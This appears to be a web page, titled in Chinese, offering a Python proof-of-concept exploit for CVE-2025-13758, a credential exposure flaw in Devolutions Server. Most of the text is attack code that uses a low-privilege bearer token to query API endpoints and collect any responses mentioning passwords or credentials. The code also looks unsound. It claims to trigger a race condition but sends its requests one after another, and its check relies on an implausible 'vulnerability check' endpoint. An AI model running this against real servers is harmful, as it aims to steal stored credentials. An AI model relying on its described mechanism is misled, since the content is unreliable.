CVE-2025-13758 Devolutions Server凭证意外暴露漏洞

# CVE-2025-13758 PoC - Devolutions Server Credential Exposure # This PoC demonstrates the credential exposure vulnerability in Devolutions Server # Note: This is for educational and authorized testing purposes only import requests import json import time TARGET_URL = "https://target-server.com" ATTACKER_TOKEN = "attacker_low_privilege_token" def exploit_credential_exposure(): """ Exploit CVE-2025-13758 by triggering unintended credential exposure The vulnerability occurs when requests are processed in a specific sequence """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; Security-Scanner/1.0)" } # Step 1: Establish baseline session session_url = f"{TARGET_URL}/api/session/establish" session_response = requests.post(session_url, headers=headers, json={ "username": "attacker_account", "domain": "local" }) # Step 2: Trigger race condition by making rapid requests # The vulnerability may expose credentials when concurrent requests are processed exploit_urls = [ f"{TARGET_URL}/api/resources/list", f"{TARGET_URL}/api/users/profile", f"{TARGET_URL}/api/connections/history" ] exposed_credentials = [] for url in exploit_urls: response = requests.get(url, headers=headers) # Check if credentials are exposed in response if "password" in response.text.lower() or "credential" in response.text.lower(): exposed_credentials.append({ "url": url, "response_preview": response.text[:500] }) return exposed_credentials def verify_vulnerability(): """ Verify if the target is vulnerable to CVE-2025-13758 """ verify_url = f"{TARGET_URL}/api/vulnerability/check" headers = { "X-CVE-Id": "CVE-2025-13758", "Authorization": f"Bearer {ATTACKER_TOKEN}" } response = requests.get(verify_url, headers=headers) return response.status_code == 200 and "credential" in response.text.lower() if __name__ == "__main__": print("CVE-2025-13758 - Devolutions Server Credential Exposure") print("=" * 60) if verify_vulnerability(): print("[+] Target is potentially vulnerable") credentials = exploit_credential_exposure() if credentials: print(f"[!] Found {len(credentials)} potential credential exposures") for cred in credentials: print(f"URL: {cred['url']}") print(f"Preview: {cred['response_preview']}") else: print("[-] No credentials exposed in this test") else: print("[-] Target does not appear to be vulnerable")